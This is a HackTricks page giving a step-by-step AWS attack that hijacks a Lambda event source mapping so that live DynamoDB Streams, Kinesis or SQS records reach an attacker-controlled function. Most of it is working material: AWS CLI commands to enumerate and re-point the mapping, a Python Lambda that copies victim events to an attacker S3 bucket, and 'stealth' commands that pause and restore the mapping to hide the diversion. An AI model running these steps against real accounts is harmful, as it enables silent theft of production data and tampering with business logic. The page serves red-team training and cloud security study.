AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda

Reading time: 3 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Abuse UpdateEventSourceMapping to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.

Impact

  • Divert and read live records from existing streams/queues without modifying producer apps or victim code.
  • Potential data exfiltration or logic tampering by processing the victim's traffic in a rogue function.

Required permissions

  • lambda:ListEventSourceMappings
  • lambda:GetEventSourceMapping
  • lambda:UpdateEventSourceMapping
  • Ability to deploy or reference an attacker-controlled Lambda (lambda:CreateFunction or permission to use an existing one).

Steps

  1. Enumerate event source mappings for the victim function
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
  --query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
  --query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
  --query 'EventSourceMappings[0].EventSourceArn' --output text)
  1. Prepare an attacker-controlled receiver Lambda (same region; ideally similar VPC/runtime)
cat > exfil.py <<'PY'
import json, boto3, os, time

def lambda_handler(event, context):
    print(json.dumps(event)[:3000])
    b = os.environ.get('EXFIL_S3')
    if b:
        k = f"evt-{int(time.time())}.json"
        boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
    return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
  --function-name ht-esm-exfil \
  --runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
  --handler exfil.lambda_handler --zip-file fileb://exfil.zip \
  --query FunctionArn --output text)
  1. Re-point the mapping to the attacker function
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
  1. Generate an event on the source so the mapping fires (example: SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
  1. Verify the attacker function receives the batch
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
  1. Optional stealth
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false

# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true

Notes:

  • For SQS ESMs, the execution role of the Lambda processing the queue needs sqs:ReceiveMessage, sqs:DeleteMessage, and sqs:GetQueueAttributes (managed policy: AWSLambdaSQSQueueExecutionRole).
  • The ESM UUID remains the same; only its FunctionArn is changed, so producers and source ARNs are untouched.

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks